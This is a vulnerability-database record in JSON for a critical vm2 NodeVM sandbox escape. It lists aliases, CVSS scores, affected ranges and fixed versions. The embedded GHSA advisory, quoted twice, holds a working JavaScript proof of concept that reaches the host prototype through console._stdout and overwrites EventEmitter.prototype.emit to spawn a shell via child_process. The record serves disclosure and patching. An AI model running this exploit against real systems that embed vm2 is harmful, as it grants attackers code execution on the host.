{"id":"CVE-2026-92955","aliases":["CLSA-2026-1791279062","CLSA-2026-1791387024","CLSA-2026-1791455219","EUVD-2026-81604","GHSA-88hf-g992-jg85","GHSA-gg6f-mhqm-f7gp","ROOT-APP-NPM-CVE-2026-92955"],"status":"published","title":"vm2 before 3.11.8 Sandbox Escape via NodeVM","description":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","severity":{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00712,"percentile":0.5394,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-09-17T13:46:13Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.8"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"vm2","fixed_in":["3.10.0-tuxcare.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.11.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.11.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.7"},{"fixed":"3.11.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.7-tuxcare.0"},{"fixed":"3.11.7-tuxcare.1"}]}],"versions":["3.11.7"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.5-tuxcare.0"},{"fixed":"3.11.5-tuxcare.6"}]}],"versions":["3.11.5","3.11.5-tuxcare.1","3.11.5-tuxcare.2","3.11.5-tuxcare.3","3.11.5-tuxcare.4","3.11.5-tuxcare.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.6"}]}],"versions":["3.10.0","3.10.0-tuxcare.1","3.10.0-tuxcare.2","3.10.0-tuxcare.3","3.10.0-tuxcare.4","3.10.0-tuxcare.5"]},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-root.io.1"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92955","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","tags":["web"]},{"url":"https://github.com/advisories/GHSA-88hf-g992-jg85"},{"url":"https://github.com/advisories/GHSA-gg6f-mhqm-f7gp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92955.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-92955","title":"vm2 before 3.11.8 Sandbox Escape via NodeVM","description":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"published","published":"2026-09-17T13:46:13.508Z","modified":"2026-09-17T14:23:35.469Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:48:24.536396Z"}],"euvd":[{"id":"EUVD-2026-81604","description":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"published","published":"2026-09-17T13:46:13Z","modified":"2026-09-17T14:23:35Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:28:12.076337Z"}],"ghsa":[{"id":"GHSA-88hf-g992-jg85","title":"vm2: Sandbox Escape (NodeVM)","description":"## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-\u003e WriteStream (TTY only)\n-\u003e Socket\n-\u003e Duplex\n-\u003e Readable\n-\u003e Stream\n-\u003e EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,'__proto__');\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```","status":"published","published":"2026-10-05T22:47:09Z","modified":"2026-10-05T22:47:10Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:41:25.889593Z"},{"id":"GHSA-gg6f-mhqm-f7gp","title":"Duplicate Advisory: Sandbox Escape (NodeVM)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-88hf-g992-jg85. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-05T22:47:00Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-92955","description":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"published","published":"2026-09-17T14:18:01.48Z","modified":"2026-09-17T15:17:01.04Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92955","title":"vm2 before 3.11.8 Sandbox Escape via NodeVM","description":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"published","published":"2026-09-17T13:46:13.508Z","modified":"2026-10-28T02:31:02.84542347Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"GHSA-88hf-g992-jg85","title":"vm2: Sandbox Escape (NodeVM)","description":"## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-\u003e WriteStream (TTY only)\n-\u003e Socket\n-\u003e Duplex\n-\u003e Readable\n-\u003e Stream\n-\u003e EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,'__proto__');\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```","status":"published","published":"2026-10-05T22:47:09Z","modified":"2026-10-05T23:00:04.252002025Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"GHSA-gg6f-mhqm-f7gp","title":"Duplicate Advisory: Sandbox Escape (NodeVM)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-88hf-g992-jg85. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-05T23:00:05.306719731Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"CLSA-2026-1791279062","title":"TuxCare security update for vm2 (8 CVEs)","description":"TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.","status":"published","published":"2026-10-06T09:31:02Z","modified":"2026-10-15T09:47:35.533296933Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791387024","title":"TuxCare security update for vm2 (4 CVEs)","description":"TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.11.5-tuxcare.6.","status":"published","published":"2026-10-07T15:30:24Z","modified":"2026-10-15T09:47:39.699745891Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791455219","title":"TuxCare security update for vm2 (1 CVE)","description":"TuxCare rebuilt vm2 to address 1 CVE. Fixed in 3.10.0-tuxcare.6.","status":"published","published":"2026-10-08T10:26:59Z","modified":"2026-10-15T09:47:58.307642594Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2026-92955","title":"CVE-2026-92955 in vm2 - Patched by Root","description":"Root has patched CVE-2026-92955 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T07:16:29Z","modified":"2026-10-19T08:15:06.470062265Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}